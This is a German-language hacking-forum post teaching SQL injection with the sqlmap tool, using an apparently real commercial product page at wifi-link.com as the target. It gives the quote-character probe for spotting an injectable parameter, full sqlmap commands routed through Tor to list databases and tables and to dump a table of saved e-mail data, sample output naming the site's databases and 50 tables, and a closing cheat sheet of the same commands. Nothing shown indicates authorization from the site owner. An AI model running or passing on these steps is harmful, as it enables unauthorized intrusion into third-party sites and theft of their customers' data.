Ergebnis 1 bis 10 von 13

Baum-Darstellung

  1. #1
    Anfänger Avatar von Mr_NiceGuy
    Registriert seit
    26.01.2016
    Beiträge
    8

    Standard SQL-Injection with SQLMap DE

    Moin moin,

    Ich will euch den einfachen Umgang mit SQLMap beibringen.

    Kommen wir als erstes zu den Voraussetzungen!

    Voraussetzungen:

    Python 2.6 oder 2.7


    Anfang:

    So fangen wir an!

    Wir haben eine URL z.B.
    http://www.wifi-link.com wir suchen uns jetzt ein Artikel aus bei mir ist es: http://www.wifi-link...product_id=2279

    jetzt sehen wir mehrer ID's wenn wir jetzt am Ende einfach ein " ' " anhängen und einen Fehler bekommen wissen wir das diese URL angreifbar ist!


    Start SQLMap:

    Fangen wir mal richtig an

    Wir starten jetzt SQLMap mit der URL wo wir denken das sie angreifbar ist!

    Code:
    python  sqlmap.py --tor --tor-type=SOCKS5 -u  "http://www.wifi-link.com/product.php?action=product&class1_id=589&class2_id=927&class3_id=1023&product_id=2279"
    (Ich starte das ganze mit Tor für die Sicherheit! wenn ihr kein Tor benutzen wollt lasst einfach "--tor --tor-type=SOCKS5" weg! )


    Wenn wir eine Nachricht bekommen das z.B. ID Injectable ist machen wir weiter.

    Code:
    python  sqlmap.py --tor --tor-type=SOCKS5 -u  "http://www.wifi-link.com/product.php?action=product&class1_id=589&class2_id=927&class3_id=1023&product_id=2279"  --dbs
    Damit können wir die einzelnen Tabellen ausgeben das sieht dann so aus:
    Code:
    web server operating system: Linux Fedora
    web application technology: Apache 2.2.9, PHP 5.2.9
    back-end DBMS: MySQL 5.0
    [10:36:20] [INFO] fetching database names
    [10:36:21] [INFO] the SQL query used returns 3 entries
    [10:36:23] [INFO] retrieved: information_schema
    [10:36:24] [INFO] retrieved: WIFI-Link_UK
    [10:36:25] [INFO] retrieved: test
    available databases [3]:[*] information_schema[*] test[*] WIFI-Link_UK
    
    [10:36:25]  [INFO] fetched data logged to text files under  '/home/hagbard-celine/Anwendungen/Injection/sqlmap-dev/output/www.wifi-link.com'
    Jetzt haben wir die Tabellen mit den können wir weiter arbeiten:
    Code:
    python  sqlmap.py --tor --tor-type=SOCKS5 -u  "http://www.wifi-link.com/product.php?action=product&class1_id=589&class2_id=927&class3_id=1023&product_id=2279"  --tables -D test
    Ausgabe:
    Code:
    Database: WIFI-Link_UK
    [50 tables]
    +--------------------+
    | PostAreaMod |
    | PostAssociate |
    | PostMod |
    | VisitRecord |
    | VisitRecordHistory |
    | cable |
    | cable_order |
    | car1 |
    | city |
    | cityarea |
    | class |
    | class_link |
    | contact |
    | country |
    | country_tax |
    | document |
    | epaperorder |
    | form |
    | guestbook |
    | homepage |
    | invoice |
    | invoice_detail |
    | joint |
    | mailerror |
    | manager |
    | marquee |
    | member |
    | mpost |
    | mpost_rule |
    | order_detail |
    | order_list |
    | piorder_detail |
    | piorder_list |
    | post |
    | postage_area |
    | product |
    | product_download |
    | product_link |
    | product_qa |
    | product_suit |
    | product_unit |
    | product_unit_old |
    | product_word |
    | record_people |
    | savemail |
    | ver2_homepage |
    | ver2_info |
    | ver2_language |
    | wifi_config |
    | wifi_present |
    +--------------------+
    Ab jetzt ist nur noch warten angesagt und wie weit ihr schauen wollt!
    Ich liste euch noch ein paar Befehle auf womit ihr die einzelnen Einträge auslesen könnt und die Datenbank auch Dumpen könnt.

    Einzelne Einträge aus einer Tabelle auslesen:

    Code:
    python  sqlmap.py --tor --tor-type=SOCKS5 -u  "http://www.wifi-link.com/product.php?action=product&class1_id=589&class2_id=927&class3_id=1023&product_id=2279"  --columns -D WIFI-Link_UK -T savemail


    Und mit diesem Befehl könnte man das ganze Dumpen:
    Code:
    python  sqlmap.py --tor --tor-type=SOCKS5 -u  "http://www.wifi-link.com/product.php?action=product&class1_id=589&class2_id=927&class3_id=1023&product_id=2279"  --dump -D WIFI-Link_UK -T savemail





    Hier noch mal die Befehle zur Übersicht:
    Code:
    python sqlmap.py -u "http://www.site.com/section.php?id=51"
    Die Datenbanken ausgeben:
    python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
    
    Die Tabellen:
    python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D [database name]
    Die einzelnen Einträge:
    python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D [database name] -T [table]
    Dumpen:
    python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D [database name] -T [table]
    //Edit by sn0w:
    Quelle: http://captn-nemo.blogspot.de/2015/0...injection.html

    Geändert von sn0w (26.01.2016 um 22:15 Uhr) Grund: Quelle hinzugefügt

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    Cystasy (26.01.2016), H4x0r007 (26.01.2016), schteal (26.01.2016)

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •